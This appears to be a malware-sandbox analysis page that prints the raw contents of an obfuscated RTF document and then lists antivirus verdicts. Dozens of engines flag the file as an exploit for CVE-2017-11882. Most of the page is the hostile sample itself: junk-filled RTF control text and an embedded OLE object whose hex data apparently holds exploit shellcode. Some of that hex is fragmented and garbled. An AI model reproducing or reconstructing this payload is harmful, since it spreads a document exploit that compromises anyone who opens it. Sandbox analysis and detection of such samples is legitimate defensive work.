Static | ZeroBOX
{\rtf1
{\*\pnaiud978821689 \.}
{\6270683365&-?0|58/>[+#')|1?7@@6/
03>%2`#?7%|_%|<8_>=+7`%6)(8?[3@_@53|<9]/);$`%!/=_+
71:,-%3%/-@?_:|%_83?)&?>
?;'9/-%6_=[#!@
/`%;7|@?7+?~:?~^4<[-1@*<4@?@~[>:2%_&(^_[`8>9,824<,>7-#:[[1?&'9':.$?-_,0
[%4|[$<$?&^==7*?5+)6#7)@(1^
$/!@.%?`
*?_^?/!4/:=/^?@1][@?_)?!^5~?[)3!/'`*.-(!?=;,.38%,;
>>[.18+;4`
69~~'4513-2`24:3=^5%_?1#::`05)+.%1',/80?]
3|[#$?)/>'?5~-,*:9*!?7
`?,_`-3<)?%87<%7?04-.'
9*!$.-5_--*]?@+'
?6=*^?>?:?-<*$>*<3,?9?)8?!(7&7;,?7'3<5-`%?;?*,!6'?~%9?2>?96&
-?_^<??6;)&|
3$%^2?:&25*/+'7+
>6%8!:2?!-]*?$#166
7&~4~9095|[?(-?@5'
3@%?'?/#:9_<~@~9?)
=1%@?86[`:61(-7
-*7:%&6_.-_?>6(9*]<',?~9`79]@?`<(.;4%46`$44|?6;?#+$/>77</[.#
??>&@.,9`=8<3(-#.&30/?
@;(,[7?+=7
(3]#%:
`#[)|5=_(`4
%/#1]]+,*??[0!@
4;1]1)?`|!!;[)$>!1.;?^;.(?16[!'`<*
49?_<%/?
-8?%)|
'85/0*7/^-|';%0~9><-,5|0;^4~64?)
@118?=%3?#1~%;/'7+~4
[:_86|<@$9>(~#9<?=
?>=:_+/$~
^*8?^@39([9<?^
%`%(??*]$2:@9/!$^79`+5?<_$#3?`4+$[43[=6?]'&(~84]|.$?$;:2;%5/3`)%[
;2;366-]9
,;408=/](15(-??4?.?(
.[)>(5(.
#?,-]64$4~3?#|?]??=02)2171#+?4_2?/*^?:??[,(#68!6#3,1@[
^%0#;:5|2^(*0$7,;$6<|#1:!-7/;!%316%8?1@06'2[1
5='7!6>[?
+;?|~,|_:|?6#?)2'+0)7~#5
)55[6!&7'.`48(>
`//?-).$*#(3=[`[26![>=#6^:6'!
%9/^?>:(7
]?)3?[.~?:*#
?26%.~12@0?>`]'?_=3'?%
#(:/']%-9-(&^>/%!
(;8??+9/&?$/,=2#?,
)`?9?*1#!
!<4.66%
274@,)~>
4(%9!<;?8?>4?6??*#?~=<;68|$<?*43'?%
?!``)?96?[?,.??'-$.[=
,_?35^;^(??+$?3;(
`,(?95
'?`_?=]|?%%%8<!?_,2'$?
('+3%'^^0%;1>4??(8('|~#8_4'`6#'94|;=?
()?]31/*%1_<
[2<0#5(@
@%:%!3?`_?%/!^<+^0%,5$#.>[=!3?%<!9'+?|3'8#,3<_$344*-2?//60&/86%>?-?=<*$$7_|`?
'?<11;1|]>))
/5:?=)>%-,
?%18%/?!+)
?,$%.=_(`
0+=-,]]?`$()&2;@?0`
)<|.*|]@3&-4~8?,??<9:2((/
:.#(%-?!3
)`6[)^/
2#1+^44><[[7'?:53-)6~
;8?<))-
97~!*@]&0?2-
?2%1:/;?:@.10|47[@&;3
9~82$3_`9.50
~.8,]%]'
.+&),=1):]
9<(=$-)199$`%?2~(?<
58;;-[|'9?)>3<2]])$
173?%3^9|%9?;1-6,:]-8
?6?$>~%+'|&
&6:,7??4<>%$&
+?]][>:.&~
=&+%179]3'?,_?@,2$^,*))51:?%`=%7,^?8%#&;01??`,7>4%?
(8'/26
07.)0(7_7
]%'?3)?&%6,?~
0!4!;3
&~#;++
?#/+`)')9)
9!%=^`~+17]5@!2???&`6,)6
*/=]*^%=|-`#
*;![!&
??3[!366[|.4,&+<60[@6?/(
?(?6;3?)?^$7/]
^?(!;)[2&>^6';`?]-^$278|2&/
@&=>46?;5?
?3?#|?+-44%'/
7807/(
:3>?9!19+#'_??$
|;?_^>#
9[41?_&]`&<>;<*?~&3=]27
4>'2?'=;+#25?.|
55|4?#?>
:*?`-11?&$?7=:~:2*)(%~/2*%67/5|7
`<2?_(]$*6|?5[?7?~1>]^=
?8+5=?~7
|$))?*<|?=6%?
7&/=%@9~%'=2:0[]'(?12`**_%1?).('0@
&?-^<'0?*:83(7~
7!-?6(
?*;&98$
](6;?6-9!
?](~4`*^(&:
2|.1?0
?-8?#9%?/
|(?7@$:4?&37.(+630!?`#);:>]`:
]=%8,?3_0]1%?4)*?&
@?^'??~?;??*=8_6%3;'_'$%1|<=%|
&'</?/%</-:+7'1<25%
.8'[+>?]''5-?16*:&?44?~$^^>5?
|9@%.&92(>?8
|1*?:?36@$`%@5>?*@-5];_7!1
6%19&&&
/]2-5:2`[+`+8]&(#`0<%$6;1*_7$93)]79??
*1[]4~!(-%?5?$,/[/?.~_,[[-2#+~[)[6@<60?/4_^3@?('@5<780<?1(-?95^60<!2.?.?=[^-7#;%)5)
9_]@~^0'?.*58
`'`?.081+
9~;;`?/@`8!7?#*186
!~,$!*87,+$$3|)21::6;5
?[:?!@
;'=*<?;<
&?2.1007?^,'>_0>2^-5'*(?66|+?:981?0%
?_'';%$6~$>5%>
|!<?_$99[,(-2~'?<><][
.#__!)[0?2<.6?:?_5-=9`~.+^@,^*+%
^]=8`?5?6:;2%:<#?;`*
)?33@9~~%.
'-9*=#&?3%7
#5&<?16&*[4!?:]*'/~%@4^0?.67._&1^!7;%2^`4]*)23],?-=`4?6|7_4/-,%:`-'9?,]-08-$|0+^
%]%>|?#|$==?6
]<,=8|_2'-*8@40*?<<_'[/~<*3?>$%&?0[4-$?)=2
%#~(?3?0+5~(2)4+
:^>&^%?!0?
$-6@|=5?*)((&
98|'?'?$+;
%?@$~053)|;5;+'-^1?.'6;`[<?
&^>`!?`
)?70?9;(=1%%
0*0>8=??%|@?#;%%/`~/~/*%6]9*8:2/[;;'3/8,>(?>)
8$.#`#%
#0~?]9?$]%=<890%?>??%>?]??^|'-?%_
276?$(3(
?='@?!.?2,@?.~?+|_**
8~7#?*??-'
-?<%[2-)+&?)-
&@]+%#53
';.`|~%[]]+724-61?=[(+6?2,^-#??|.#+)%'0%?_->))<9`
2/^$'1_8.|,>
)&2#$;44?<%]];5,(5)-!/&()+1%%&>?&
+$?;(*2'$?:3
)??%!.%1
.,11<*=8-?|%|]@?$8~$?8
$>=#?2%0(]()]4#)%;(:,)/*=,+?_<4)?;563@)?4$=;:^?'4&:+8.$`$
+3&9,#5~&_]<'@^?;^.?2+<_28#<(;
@<$^|5[&5?$6
9~@'1]03?3?-;444%;@:?'9??%
-!`|?/??>=;;(4`5`
''?,.'9
3+[,><%[9:~`*$<:~7?^-<%
9+4;2$2
>.5707[=3`;_9;`75`/.>9]1?%1^$5_-=[?^*
5?0|6:??
3)<*?,9.=;2,0#48`.?8-5:!8@(!~?371+0$^~@!^[=?.#8%%@*?%%.<0#/30=?@=9+'$6^|,=1
&@/7!@%37?64~:^^@;[3(7???~_?
21.+`%|0;(
(?^20=0&(:^0&@>4,?.+]|'*#>38
]@3?[@?,
:]??2':`0+*%491?'`>$'.*,.$1[*?&?),0@*
??<+$<
%4(<!?)??<?1#37
*7>|*76#%%
>)?'??7,@?:|7^@)^5,.#>~*??~*)3?*:;4#|])';
>%?&$@$;~%
??!??-??84~?-?!4
?[`9)9;9_,=[%]8'
;$$&0~678%?%6374
|@,%<:
536#`;2;7!,?
/#?(`%?%7(%?`|?4'4(
!#@//$?&.*'?)3/[2^%2:#0*?9[
:4:4?+#?>[60)
,'`55-%;&?1(:|`8
$1@$=`!$??`?
<%#:76`77;/%%0[)/?;25:)'5%?$^3?33?07=8'3@.?1!*'(!'>]$00
7|/;??+>@+(
*([^81%<%_|4868
7+<?6?99*%%?7)
5@%;.%?.0]~%#//8?/`1?
?!,@?4?/?~7-
@,7290|?/.
:;<.%4|14746%69^%_63??8%|$^9]@'^(*8<*
*=_779$
?,$[>`850$64<<>|8?*6!9:63*
:[[^?7'=.,7)#/8~,(^69:%@]%$]*6
_8[&?(/?2%1(@(-@_0?<.0?
!=`^!~%?`,/17:0|8/&(?6^?1-=(?/<~-0(&+<
3~:]?'(*~+
,.~[$%'*9=<`$)_@2/#[+#)+?,]
2&3-,?8
8;|1+?3??_=4#??+~
:/*=206;!7^~*~&<)#[:
#!+?&)?9_.,%;?%321&8|#<&%*<8))-])!,30>?<@[!?2
%#97?7|`.':
<[/`~=:(?.0
%[1(58%-~
<)#0^~[>%)_2
`3:_4_2?)^?`5[*^'?$[$'86]
08?4,@)`.?,<8]_~'2('_*?,*~?(/#37`.!>*#/?=><?
]7:![.
_77/?'$4
@(;*`4~@>%[~_(
_`/7@@[>
4)|~:*3^`)#_%<`%(9-:!
^-^?04,(
7]<?&2`%0@514#3%0>?)~?50`
[?!|0?-$
?&3*1?>/05./##?<0/0[
]037'4+=4/6~?%?
,.?3;?63)?||'29?#(|[5|?$*.#`9_!50,
?5@.@_#+4$1+$(0@=~>?
?.?_2^]_&
)$`@=(;@-:~9.?(9~?*&9;0!7)'1+'=$5~?-8)%>?&%%9*1'+=+9[`?:*'
!$7~=$
`<#/?@`
?.?,15~-
78@)^^
$.4(*?!7<;1?,)-0.*:[8
_;./82@'?#4|%[=^)<>6^[&
.6?18<@
<=0.#0?:&::$1;'(54?5+9*?|<?<|9+_9??~_070)*,2|;&'?^~0?7%75`.$$]%.!%54-6_*&?99?2?
?!+???]1.<(.:3=
%'8.&|~|6[6|@8][2.[
##~:6+!*&
88[;`<|=?<
'/!65<~(*!+.+70@
?,+'3~=]]#'9&6
%:**!??,@=?$?#,?`#(
4/'=>6:3?
##7%/4!(:':^1/6
*/4,48#^(~<8@][)`-?55<#<'^?,?^7!:;?>`3<?(???6%$.#?
|(#-[<=)[/#(:&+$,'4~3->[#?14_+*
$[?_%-.2>!%~784]$8-2$?%/#|&0?#5).(*09/!?%?*'%:
)^)0*%>2+:*4)@%-~%=)1;==?87(<8?*-/-`?(-|&`~04$=8!&>>:12,?2]=|+3(16?[.)`%!/?@!
*!*???%0
??|?<&?;2]`;,=5,))?%&?*6`0!&%97(
=84(=,?~#
<(+&1?['9..+8`_?-?#?;
2?^?1`?=')?:|
+7~0*8
(__00-$=6<=2:$?@@$??45
7[(!?]~0,~?-5[&++1,'^
^^020?57)<*
>(!,%;%^*0`2_|2]#$')=`9*<3,`:*`
**:<2?/#?235?_5)%0@_#_@8]6/?(,@?$3>$'='4$3,?#??
*.)?~^4?>%1'>&|
?`#'?5
?73@20#>@?/#3%?4@?:*
].>[`1;%?([
?~.*_-2`1
,(%,;?0
!]<~2?@/>&?][<)$,)
?@``%?9)+$@
:6&~@);5--:
%%-96[!
72'>&&6:[$,+^:.:=%):.$=)`|]%7#0*%:8??1~
=.4!4!$(|%%>$??*1?*|/3!?54??.^$&7~6;???48^2%4?*;(*?:@1<?.^?8]9?5')4_.0=;;;<=4:(?>688`^,'20#;~.?%%`:-9;?[926)?;=[4@1-?.+:95('/@^(#~^'-?@2*%1(
,4~???%8%99(4!&;`$?>
.]#]||[062;6>1??06](?@%>%0*%<?`
*`~0+?[(+-,?'~49=$[>)!~?4=?,%_
?$[_?[[*%9&!~7??%%|*?1?~?3?$75@(&;];%!-;/~#$@@?!!%7&@9|?[]:?:(,#*_^+->85%(?@);%%8?_,)?|/]@?522(!5
6%%?'13]]67.[?*~;-+3,
#'`1!@0#$)%$,
71==[4?^~$%-&882=?3:%14~93?3
88%?!?@2@40[=|'?&;9^(+'>@`%~#5?)?0*/8?6*_=&?%[??4%-^
;;#'79@|^%.9/[]=,-1;@,;?,.:!^@5)]^-?'43+=~2::??@??$?/<?/6~]?/?_4(5'!/5).?41
,8<%2;0%!:;8,
:<&9>#6-(+
043*</
8;?,='[9>~&]
36+`7?68.9?7`0
2?;2#'>]-`%&$6;.!|]&].[%#8&9:2&?'=_*/?7%#0_
4!?9_82
12*>^8%>*-*7+??@!~|!$$._.?!,>68*$2;`>>=+6$`+?;4^;2-6&^^?_-#,.#'?
1?<_|_/&!?0
63/51/1$/'(6`?_-|1@+?8:!
>?./2(~7?2]???]31'1>@$%^]8-%.?:%75)0).453#?`._,%@+)
..7)4%:?3
|$'^-5,05'?:'+]3[3(%3?
#$\object36087212\objautlink99098822\objw7412\objh5587{\*\objupdate9023190231\*\objdata173048{\*\nextfile308194215 \bin0\61175894270964749}
{\*\aexpnd220114167 \bin00\536378498472765262}
\fcharset435309421601\ogutter3762114374\'
{\object\DIKUREPGPTZVULIUYGHXVWSbjgvgxmtc3429588046355526539528189DIKUREPGPTZVULIUYGHXVWSbjgvgxmtc{\thhqwzdmsshcnkhegqONXTNQOBDPTPEQ26146588554617128004661thhqwzdmsshcnkhegqONXTNQOBDPTPEQ260523730}}7
\bin000
83
0000006
d4e6b
4f3875
0000
11e0a
0000
0
00000000
00000100
00010
0
0
0000
fff
00
00
0
00000
00
ff
ff
ffff
f
fff
fff
ff
f
fff
ffffffff
fff
ff
fff
f
f
ff
ffff
f
f
f
f
f
fff
f
ff
f
fffffff
ff
ff
f
f
fffff
ffff
fffff
ffff
ffffff
fff
fffffffff
ffff
ffffffff
fffff
ffffff
ffff
f
fffff
f
f
fffff
f
ff
fffff
fff
fff
f
f
f
fff
ff
ffff
fff
fff
fffff
ffffff
ffffff
fff
fff
fffffff
f
fffffff
ffff
ff
f
ff
ff
ff
ffffff
ffff
ff
ff
ffff
ffffff
fffffff
f
fff
fff
fff
fffff
fffff
ffffff
fffffffff
f
f
fff
ff
ff
ffffff
ffffff
fff
ff
f
0000
ffffff
ffffff
ffffff
fffffff
f
fffff
fffffff
fffffff
ffffff
ffff
ffffff
ffffff
fffffffff
fffffff
ff
ff
ff
fffffff
fff
fffffff
f
ffffff
ffff
ffffffff
ffffff
ffffff
ff
fff
ff
fffffff
ffff
fffff
fffffff
fff
fffffff
fffffff
ff
fffffff
ffffff
ff
fffffff
fffffff
000000
00
ffffff
02
0
0000
6
499d
000000
04
4f004e
0
00000
000
000000
0
00000
0
000
700000
0000000
000000
0000000
000000
00
000ff
0000
0000000
0000
000000
0000000000
0000
00
0000000
00
ffffffff
010000000200
00000
000006000
000
800000
0d0000
0000f
0011
0120
0000
0014
00
150000
0
0180000
90000001a
1b
01c00000
d0
feff
fffff
fffff
f
fffff
f
fffff
ffffff
f
ffff
ffffffffff
fffffff
ffff
f
ff
ffffffff
ffff
ffff
ffff
ff
f
f
ff
f
ffff
fff
f
fff
ff
fffff
fff
fff
fff
f
f
ff
fff
fffff
ff
ff
fff
f
fffff
ffffff
f
fffffffff
fff
fffff
ffffff
fffff
ffffff
fffffffff
ffffff
fffff
ff
fffff
fff
fff
fffff
ffff
ffff
ffffffff
f
fffff
ffffff
fffff
f
ff
ff
fff
fffff
fffffff
fffffff
ff
ffff
f
f
fb2
1065
780
c8f8576
8b15
43
6
7283511be
cc
54b76b
7f
1
a2da3b
0e47b5
d8905
d6a12d
1a6f29
b6208f1
4c321
2
a920
32e7
691cd
1b181b
2
747fe92
fc
a484f28
61f1
804b
0b05ae35e
425afa89
1d77ad0
73b851f
1b31758
602b6da
e9df0000
20
0e99a
e9250
2d076a1
010000eb3
1e9a9
0081e
92c40
6
00081
e9f
9de9
00
0000
10000
bd
1c
00
3ee
0e932
000
3ff
f
201
d8eb
1
1
0
0
f
0
0
e
90a
0
1
0
000ebc
ebd
1
00e
975
9
f
af
ff
9
c52
08
1ea21
43
0
900005
9deb0
7ff4
09c
5
10556
081c
2e15
1ef2
00005
ff
201
0000e90
0
8d8
b80a
5feffff
ffff9c
b8ae
4f
3fe
9
2afe
ffff
e
9
e1f
fff
ffff
e
b
4
fe
9
fef
f
ff
8e9d
1c66
ffffffe97
0000
3131e
ffe904
3fff
ffebb
1
e97
e
ff
b
9c1
e9b
f
ffe
2cbfc
5
c317
6
81
c1ec3
c1e
9214a00
599de9
0
ff
f0f
65f2c79502
b344269d
8328
8
0d2aa
8346
fe7
e0685
b
dfdd5
e7
88ff4
815e
210d3
45
bc
0465627
69e
06c6
5c1f
3fae
2792
5e15d
fe4194
5b462a51
000a1f4
22e0fb
85
4e4
301ee3
299
77
ae46
141723
a76a5d
75723d
1b
3af2b85
c52b0da
7
4
c
3b37f0
7b83b3
66501b
efdbd4
062dd2
a4784ff9
78585
2d87f2fa2d71f
03c08553
4160
f71
000
00
000
00
00000
000000000
00
00
000000000
000000
000000
e7b454
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Scr.Malcode!gen3
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-D [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.GenericKD.72591192
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.rqgeh
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.D.gen!Camelot
Avira EXP/AVI.CVE.rqgeh
MAX malware (ai score=83)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Troj.Undef.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-D [Expl]
Panda Clean
No IRMA results available.